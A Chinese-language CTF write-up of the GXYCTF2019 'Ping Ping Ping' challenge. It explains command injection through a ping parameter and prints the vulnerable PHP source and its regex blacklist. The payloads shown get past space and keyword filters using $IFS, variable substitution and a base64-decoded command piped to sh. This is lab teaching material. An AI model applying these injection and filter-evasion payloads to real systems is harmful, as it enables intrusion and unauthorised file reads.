[GXYCTF2019]Ping Ping Ping
1.命令执行
进入靶机环境,提示?ip=,根据题目名称,我们输入127.0.0.1。成功回显
接着执行ls命令查看下目录,使用|
和;
都可以看到回显,只不过|ls不会有ping指令的回显,而;ls会有ping指令的回显。相关特殊符号的的语法可以参考这篇《巧用命令注入的N种方式》
直接cat flag,发现空格被ban
空格绕过的方式还是参照上面的文章空格绕过部分 //有时会禁用 cat: 解决方法是使用 tac反向输出命令: linux命令中可以加 \,所以甚至可以 ca\t /fl\ag
①cat</flag flag{xxx} ②cat<>/flag flag{xxx}
①cat$IFS$9/flag //$后面的数字可以任意输只要不是$0就行 flag{xxx} ②cat${IFS}/flag flag{xxx} ③cat$IFS/flag flag{xxx}
经过测试发现cat$IFS$1/flag.php 可以绕过空格检测,但是它又ban掉了flag,我们cat一下index.php,看到源码,有一部分没有显示,但F12可以看到
<?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo ""; print_r($a); } ?>
绕过有两种方法 1.变量替换 2.bash脚本
1.变量替换
①变量覆盖
源码中有个变量$a,可以变量覆盖下绕过flag过滤
构建payload:?ip=1;a=g;cat$IFS$1fla$a.php
页面没有看到flag但是F12可以看到
这种情况可以tac 反向输出 就可以看到了
②未声明变量利用
跟变量覆盖方法类似,但是利用未声明的变量将flag字符替换
构建payload:?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
虽然过滤了bash 但可以使用sh,sh的大部分脚本都可以在bash下运行
payload:?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw通过base64解码为 cat flag.php